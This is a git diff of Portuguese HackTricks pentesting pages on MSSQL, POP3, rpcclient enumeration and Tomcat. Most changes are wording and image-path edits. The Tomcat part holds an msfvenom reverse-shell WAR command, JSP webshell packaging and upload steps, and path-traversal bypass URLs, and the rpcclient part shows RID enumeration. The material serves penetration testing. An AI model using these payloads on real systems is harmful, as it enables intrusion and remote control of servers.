Para mais informações, consulte os seguintes links sobre esse ataque:
|
||||||
[Descriptografando Senhas de Servidores de Banco de Dados MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
[Descriptografando Senhas de Servidores de Banco de Dados MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||||
|
|
||||||
[Resolvendo problemas de Conexão de Administrador Dedicado do SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
[Resolvendo problemas com a Conexão de Administrador Dedicado do SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||||
|
|
||||||
## Escalação Local de Privilégios
|
## Escalação Local de Privilégios
|
||||||
|
|
||||||
|
@ -495,13 +494,13 @@ Provavelmente você será capaz de **escalar para Administrador** seguindo uma d
|
||||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
## Comandos Automáticos do HackTricks
|
## HackTricks Automatic Commands
|
||||||
```
|
```
|
||||||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 1433 #Comma separated if there is more than one.
|
Port_Number: 1433 #Comma separated if there is more than one.
|
||||||
|
|
|
@ -6,7 +6,7 @@
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
@ -14,7 +14,7 @@
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -22,7 +22,7 @@
|
||||||
|
|
||||||
## Informações Básicas
|
## Informações Básicas
|
||||||
|
|
||||||
O **Protocolo de Correio (POP)** é descrito como um protocolo no âmbito de redes de computadores e da Internet, que é utilizado para a extração e **recuperação de e-mails de um servidor de correio remoto**, tornando-os acessíveis no dispositivo local. Posicionado na camada de aplicação do modelo OSI, esse protocolo permite aos usuários buscar e receber e-mails. A operação dos **clientes POP** geralmente envolve o estabelecimento de uma conexão com o servidor de correio, o download de todas as mensagens, o armazenamento dessas mensagens localmente no sistema do cliente e posteriormente removê-las do servidor. Embora existam três iterações desse protocolo, o **POP3** se destaca como a versão mais amplamente empregada.
|
O **Protocolo de Correio (POP)** é descrito como um protocolo no âmbito de redes de computadores e da Internet, que é utilizado para a extração e **recuperação de e-mails de um servidor de correio remoto**, tornando-os acessíveis no dispositivo local. Posicionado na camada de aplicação do modelo OSI, este protocolo permite aos usuários buscar e receber e-mails. A operação dos **clientes POP** geralmente envolve o estabelecimento de uma conexão com o servidor de correio, o download de todas as mensagens, o armazenamento dessas mensagens localmente no sistema do cliente e posteriormente removê-las do servidor. Embora existam três iterações deste protocolo, o **POP3** se destaca como a versão mais amplamente empregada.
|
||||||
|
|
||||||
**Portas padrão:** 110, 995(ssl)
|
**Portas padrão:** 110, 995(ssl)
|
||||||
```
|
```
|
||||||
|
@ -103,7 +103,7 @@ De [https://academy.hackthebox.com/module/112/section/1073](https://academy.hack
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -153,7 +153,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
|
|
@ -6,15 +6,15 @@
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -22,7 +22,7 @@
|
||||||
|
|
||||||
### Visão geral dos Identificadores Relativos (RID) e Identificadores de Segurança (SID)
|
### Visão geral dos Identificadores Relativos (RID) e Identificadores de Segurança (SID)
|
||||||
|
|
||||||
**Identificadores Relativos (RID)** e **Identificadores de Segurança (SID)** são componentes-chave nos sistemas operacionais Windows para identificar e gerenciar objetos, como usuários e grupos, de forma única dentro de um domínio de rede.
|
**Identificadores Relativos (RID)** e **Identificadores de Segurança (SID)** são componentes-chave nos sistemas operacionais Windows para identificar e gerenciar objetos, como usuários e grupos, dentro de um domínio de rede.
|
||||||
|
|
||||||
- **SIDs** servem como identificadores únicos para domínios, garantindo que cada domínio seja distinguível.
|
- **SIDs** servem como identificadores únicos para domínios, garantindo que cada domínio seja distinguível.
|
||||||
- **RIDs** são anexados aos SIDs para criar identificadores únicos para objetos dentro desses domínios. Essa combinação permite o rastreamento preciso e o gerenciamento de permissões de objetos e controles de acesso.
|
- **RIDs** são anexados aos SIDs para criar identificadores únicos para objetos dentro desses domínios. Essa combinação permite o rastreamento preciso e o gerenciamento de permissões de objetos e controles de acesso.
|
||||||
|
@ -43,7 +43,7 @@ A utilidade **`rpcclient`** do Samba é utilizada para interagir com **pontos fi
|
||||||
* **Usuários podem ser listados** usando: `querydispinfo` e `enumdomusers`.
|
* **Usuários podem ser listados** usando: `querydispinfo` e `enumdomusers`.
|
||||||
* **Detalhes de um usuário** por: `queryuser <0xrid>`.
|
* **Detalhes de um usuário** por: `queryuser <0xrid>`.
|
||||||
* **Grupos de um usuário** com: `queryusergroups <0xrid>`.
|
* **Grupos de um usuário** com: `queryusergroups <0xrid>`.
|
||||||
* **O SID de um usuário é recuperado** por meio de: `lookupnames <username>`.
|
* **O SID de um usuário é recuperado** através de: `lookupnames <username>`.
|
||||||
* **Aliases de usuários** por: `queryuseraliases [builtin|domain] <sid>`.
|
* **Aliases de usuários** por: `queryuseraliases [builtin|domain] <sid>`.
|
||||||
```bash
|
```bash
|
||||||
# Users' RIDs-forced
|
# Users' RIDs-forced
|
||||||
|
@ -85,25 +85,25 @@ done
|
||||||
|
|
||||||
| **Comando** | **Interface** | **Descrição** |
|
| **Comando** | **Interface** | **Descrição** |
|
||||||
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
|
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| queryuser | SAMR | Recuperar informações do usuário |
|
| queryuser | SAMR | Recupera informações do usuário |
|
||||||
| querygroup | Recuperar informações do grupo | |
|
| querygroup | Recupera informações do grupo | |
|
||||||
| querydominfo | Recuperar informações do domínio | |
|
| querydominfo | Recupera informações do domínio | |
|
||||||
| enumdomusers | Enumerar usuários do domínio | |
|
| enumdomusers | Enumera usuários do domínio | |
|
||||||
| enumdomgroups | Enumerar grupos do domínio | |
|
| enumdomgroups | Enumera grupos do domínio | |
|
||||||
| createdomuser | Criar um usuário de domínio | |
|
| createdomuser | Cria um usuário de domínio | |
|
||||||
| deletedomuser | Excluir um usuário de domínio | |
|
| deletedomuser | Exclui um usuário de domínio | |
|
||||||
| lookupnames | LSARPC | Pesquisar nomes de usuário para valores SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) |
|
| lookupnames | LSARPC | Procura nomes de usuário para valores SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) |
|
||||||
| lookupsids | Pesquisar SIDs para nomes de usuário (ciclagem de RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | |
|
| lookupsids | Procura SIDs para nomes de usuário (ciclagem de RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | |
|
||||||
| lsaaddacctrights | Adicionar direitos a uma conta de usuário | |
|
| lsaaddacctrights | Adiciona direitos a uma conta de usuário | |
|
||||||
| lsaremoveacctrights | Remover direitos de uma conta de usuário | |
|
| lsaremoveacctrights | Remove direitos de uma conta de usuário | |
|
||||||
| dsroledominfo | LSARPC-DS | Obter informações do domínio primário |
|
| dsroledominfo | LSARPC-DS | Obtém informações do domínio primário |
|
||||||
| dsenumdomtrusts | Enumerar domínios confiáveis dentro de um floresta AD | |
|
| dsenumdomtrusts | Enumera domínios confiáveis dentro de um floresta AD | |
|
||||||
|
|
||||||
Para **entender** melhor como as ferramentas _**samrdump**_ **e** _**rpcdump**_ funcionam, você deve ler [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
|
Para **entender** melhor como as ferramentas _**samrdump**_ **e** _**rpcdump**_ funcionam, você deve ler [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -114,7 +114,7 @@ Para **entender** melhor como as ferramentas _**samrdump**_ **e** _**rpcdump**_
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -70,7 +70,7 @@ $file = file_get_contents($url, false, $context);
|
||||||
```
|
```
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -85,6 +85,6 @@ Outras formas de apoiar o HackTricks:
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,9 +2,9 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
@ -14,7 +14,7 @@
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -78,7 +78,7 @@ Acesso a `/auth.jsp` pode revelar a senha em um rastreamento sob circunstâncias
|
||||||
|
|
||||||
A vulnerabilidade CVE-2007-1860 em `mod_jk` permite a travessia de caminho com codificação de URL dupla, possibilitando acesso não autorizado à interface de gerenciamento por meio de uma URL especialmente elaborada.
|
A vulnerabilidade CVE-2007-1860 em `mod_jk` permite a travessia de caminho com codificação de URL dupla, possibilitando acesso não autorizado à interface de gerenciamento por meio de uma URL especialmente elaborada.
|
||||||
|
|
||||||
Para acessar a interface de gerenciamento da web do Tomcat, vá para: `pathTomcat/%252E%252E/manager/html`
|
Para acessar a interface de gerenciamento do Tomcat, vá para: `caminhoTomcat/%252E%252E/manager/html`
|
||||||
|
|
||||||
### /exemplos
|
### /exemplos
|
||||||
|
|
||||||
|
@ -109,11 +109,11 @@ As versões do Apache Tomcat de 4.x a 7.x incluem scripts de exemplo suscetívei
|
||||||
|
|
||||||
### **Exploração de Traversão de Caminho**
|
### **Exploração de Traversão de Caminho**
|
||||||
|
|
||||||
Em algumas [**configurações vulneráveis do Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/), você pode obter acesso a diretórios protegidos no Tomcat usando o caminho: `/..;/`
|
Em algumas [**configurações vulneráveis do Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/), é possível obter acesso a diretórios protegidos no Tomcat usando o caminho: `/..;/`
|
||||||
|
|
||||||
Portanto, por exemplo, você pode ser capaz de **acessar a página do gerenciador do Tomcat** acessando: `www.vulnerable.com/lalala/..;/manager/html`
|
Portanto, por exemplo, você pode ser capaz de **acessar a página do gerenciador do Tomcat** acessando: `www.vulneravel.com/lalala/..;/manager/html`
|
||||||
|
|
||||||
**Outra maneira** de contornar caminhos protegidos usando esse truque é acessar `http://www.vulnerable.com/;param=value/manager/html`
|
**Outra maneira** de contornar caminhos protegidos usando esse truque é acessar `http://www.vulneravel.com/;param=value/manager/html`
|
||||||
|
|
||||||
## RCE
|
## RCE
|
||||||
|
|
||||||
|
@ -121,7 +121,7 @@ Por fim, se você tiver acesso ao Gerenciador de Aplicativos da Web do Tomcat, v
|
||||||
|
|
||||||
### Limitações
|
### Limitações
|
||||||
|
|
||||||
Você só poderá implantar um WAR se tiver **privilégios suficientes** (funções: **admin**, **manager** e **manager-script**). Esses detalhes podem ser encontrados em _tomcat-users.xml_ geralmente definido em `/usr/share/tomcat9/etc/tomcat-users.xml` (varia entre as versões) (consulte a seção [POST](tomcat.md#post)).
|
Você só poderá implantar um WAR se tiver **privilégios suficientes** (funções: **admin**, **manager** e **manager-script**). Esses detalhes podem ser encontrados em _tomcat-users.xml_, geralmente definidos em `/usr/share/tomcat9/etc/tomcat-users.xml` (varia entre as versões) (veja a seção [POST](tomcat.md#post)).
|
||||||
```bash
|
```bash
|
||||||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||||
|
|
||||||
|
@ -146,9 +146,9 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
||||||
```bash
|
```bash
|
||||||
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
|
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
|
||||||
```
|
```
|
||||||
2. Fazer upload do arquivo `revshell.war` e acessá-lo (`/revshell/`):
|
### 2. Fazer upload do arquivo `revshell.war` e acessá-lo (`/revshell/`):
|
||||||
|
|
||||||
### Conectar e obter acesso reverso com [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
### Conectar e obter shell reverso com [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
||||||
|
|
||||||
Em alguns cenários, isso não funciona (por exemplo, em versões antigas da sun)
|
Em alguns cenários, isso não funciona (por exemplo, em versões antigas da sun)
|
||||||
|
|
||||||
|
@ -201,8 +201,6 @@ jar -cvf ../webshell.war *
|
||||||
webshell.war is created
|
webshell.war is created
|
||||||
# Upload it
|
# Upload it
|
||||||
```
|
```
|
||||||
Pode também instalar isto (permite upload, download e execução de comandos): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
|
||||||
|
|
||||||
### Método Manual 2
|
### Método Manual 2
|
||||||
|
|
||||||
Obtenha um web shell JSP como [este](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) e crie um arquivo WAR:
|
Obtenha um web shell JSP como [este](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) e crie um arquivo WAR:
|
||||||
|
@ -234,7 +232,7 @@ msf> use post/windows/gather/enum_tomcat
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
|
|
@ -14,7 +14,7 @@
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
